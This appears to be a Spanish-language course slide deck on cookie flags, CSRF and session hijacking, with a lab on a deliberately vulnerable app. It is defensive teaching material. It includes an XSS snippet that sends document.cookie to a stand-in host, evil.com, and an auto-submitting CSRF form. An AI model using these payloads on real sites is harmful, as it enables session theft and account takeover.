

Módulo 3: Identidad y Control de Acceso

T09: Cookies, CSRF y Session Hijacking

Carlos Rodríguez Contreras · GitHub: [karrocon](#)

 *Flags de cookies, tokens CSRF y el robo de sesión*

Objetivos

- Entender los flags de cookies: `HttpOnly`, `Secure`, `SameSite`
- Explicar cómo funciona un ataque CSRF y por qué es peligroso
- Demostrar el robo de cookie de sesión mediante XSS en VulnApp
- Implementar tokens CSRF y flags de cookie correctos como defensa

Cookies: cómo funciona la sesión web

```
# El servidor envía la cookie al hacer login
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict

# El navegador la incluye automáticamente en cada petición
Cookie: session=abc123
```

Flags de seguridad:

Flag	Efecto
HttpOnly	No accesible desde JavaScript (<code>document.cookie</code>)
Secure	Solo se envía por HTTPS
SameSite=Strict	No se envía en peticiones cross-origin
Path= /	Scope de la cookie
Expires / Max-Age	Caducidad

Sin HttpOnly → robo de sesión por XSS

```
// Si la cookie NO tiene HttpOnly, JavaScript puede leerla:
```

```
document.cookie // → "session=abc123"
```

```
// Combinado con XSS almacenado (T05):
```

```
<script>
```

```
  fetch('https://evil.com/steal?c=' + document.cookie);
```

```
</script>
```

💀 **Session Hijacking:** el atacante usa la cookie robada para suplantar al usuario.

¿Qué es CSRF?

Cross-Site Request Forgery — el atacante hace que el navegador de la víctima envíe una petición autenticada sin su consentimiento.

```
<!-- En evil.com - la víctima visita esta página -->
<form action="https://vulnapp.com/products" method="POST" id="f">
  <input name="name" value="HACKEADO">
  <input name="price" value="0">
</form>
<script>document.getElementById('f').submit();</script>
```

El navegador incluye las cookies automáticamente → la petición se ejecuta **como si fuera la víctima**.

Defensa contra CSRF

Método	Cómo funciona
SameSite cookies	<code>SameSite=Strict</code> o <code>Lax</code> — no envía cookie en peticiones cross-origin
Token CSRF	Token aleatorio en formulario + verificar en servidor
Double Submit	Token en cookie + en header → compara ambos
Custom header	Requerir <code>X-Requested-With: XMLHttpRequest</code> (CORS lo bloquea cross-origin)

```
// Ejemplo: token CSRF con csrf middleware  
import csrf from 'csrf';  
app.use(csrf({ cookie: true }));
```

VulnApp: JWT en header vs. cookies

VulnApp usa JWT en el header `Authorization: Bearer ...`:

- **Ventaja:** no vulnerable a CSRF (el token no se envía automáticamente)
- **Riesgo:** si se almacena en `localStorage`, es vulnerable a XSS

💡 Best practice para SPAs:

- JWT en cookie `HttpOnly` + `SameSite=Strict` → protege contra XSS y CSRF
- O JWT en memoria (variable JS) + refresh token en cookie `HttpOnly`

Session Fixation y Session Hijacking

Ataque	Mecanismo	Defensa
Session Hijacking	Robar cookie activa (XSS, MITM, logs)	HttpOnly + Secure + HTTPS
Session Fixation	Forzar un session ID conocido antes del login	Regenerar session ID tras login
Replay Attack	Reutilizar un token/cookie capturado	Expiración corta + rotación

SameSite en detalle – Strict vs Lax vs None

Valor	Comportamiento	Caso de uso
Strict	Nunca se envía en cross-origin (ni links)	Apps internas, banking
Lax	Se envía en navegación top-level (GET) pero no POST/iframe	Default razonable para la mayoría
None	Se envía siempre (requiere <code>Secure</code>)	Widgets embebidos, OAuth cross-domain

Escenario: usuario clicka enlace a tu app desde email

SameSite=Strict → Cookie NO se envía → usuario ve login (molesto)
SameSite=Lax → Cookie SÍ se envía (es GET top-level) → funciona
SameSite=None → Cookie SÍ se envía → funciona (pero vulnerable a CSRF)

✅ **Recomendación:** `SameSite=Lax` para sesiones + token CSRF para mutaciones POST/PUT/DELETE.

Checklist de seguridad de sesiones

Aspecto	Inseguro	Seguro
Cookie flags	Sin flags	<code>HttpOnly; Secure; SameSite=Strict</code>
Almacenamiento JWT	<code>localStorage</code>	Cookie HttpOnly o memoria
Expiración	Sin expirar	15min sesión + refresh token
Post-login	Mismo session ID	Regenerar ID tras autenticación
Logout	Solo borrar en cliente	Invalidar en servidor (blacklist/DB)

Lab T09: Robo de sesión por cookie sin HttpOnly

Objetivo: demostrar que una cookie sin `HttpOnly` puede ser robada por XSS

Setup: `cd VulnApp && npm start`

1. Inicia sesión y mira la cookie de sesión en DevTools
2. Observa que no tiene el flag `HttpOnly`
3. Usa el payload XSS del T05 para imprimir `document.cookie`
4. Añade `httpOnly: true` y `sameSite: 'strict'` en la config de sesión
5. Verifica que `document.cookie` ya no devuelve la cookie de sesión